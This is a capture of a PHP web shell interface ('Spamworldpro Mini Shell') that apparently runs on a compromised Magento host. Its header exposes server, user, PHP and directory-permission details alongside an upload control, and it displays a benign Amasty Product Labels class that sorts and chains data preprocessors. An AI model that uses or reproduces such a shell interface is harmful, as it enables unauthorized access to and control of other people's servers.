Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/app/code/Amasty/Label/Model/Label/Save/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/app/code/Amasty/Label/Model/Label/Save/DataPreprocessorCombine.php
<?php

declare(strict_types=1);

/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Product Labels for Magento 2
 */

namespace Amasty\Label\Model\Label\Save;

class DataPreprocessorCombine implements DataPreprocessorInterface
{
    public const SORT_ORDER = 'sortOrder';
    public const PREPROCESSOR = 'preprocessor';

    /**
     * @var array[]
     *
     * @example [
     *      [
     *          'sortOrder' => 5,
     *          'preprocessor' => $preprocessorInstance
     *      ]
     * ]
     */
    private $preprocessors;

    public function __construct(
        $preprocessors = []
    ) {
        $this->preprocessors = $this->sortConfigs($preprocessors);
    }

    /**
     * @return DataPreprocessorInterface[]
     */
    private function getPreprocessors(): array
    {
        $preprocessors = [];

        foreach ($this->preprocessors as $preprocessorConfig) {
            $preprocessor = $preprocessorConfig[self::PREPROCESSOR] ?? null;

            if ($preprocessor instanceof DataPreprocessorInterface) {
                $preprocessors[] = $preprocessor;
            }
        }

        return $preprocessors;
    }

    public function process(array $data): array
    {
        /** @var DataPreprocessorInterface $preprocessor **/
        foreach ($this->getPreprocessors() as $preprocessor) {
            $data = $preprocessor->process($data);
        }

        return $data;
    }

    private function sortConfigs($configs): array
    {
        usort($configs, function (array $configA, array $configB) {
            $sortOrderA = $configA[self::SORT_ORDER] ?? 0;
            $sortOrderB = $configB[self::SORT_ORDER] ?? 0;

            return $sortOrderA <=> $sortOrderB;
        });

        return $configs;
    }
}

Spamworldpro Mini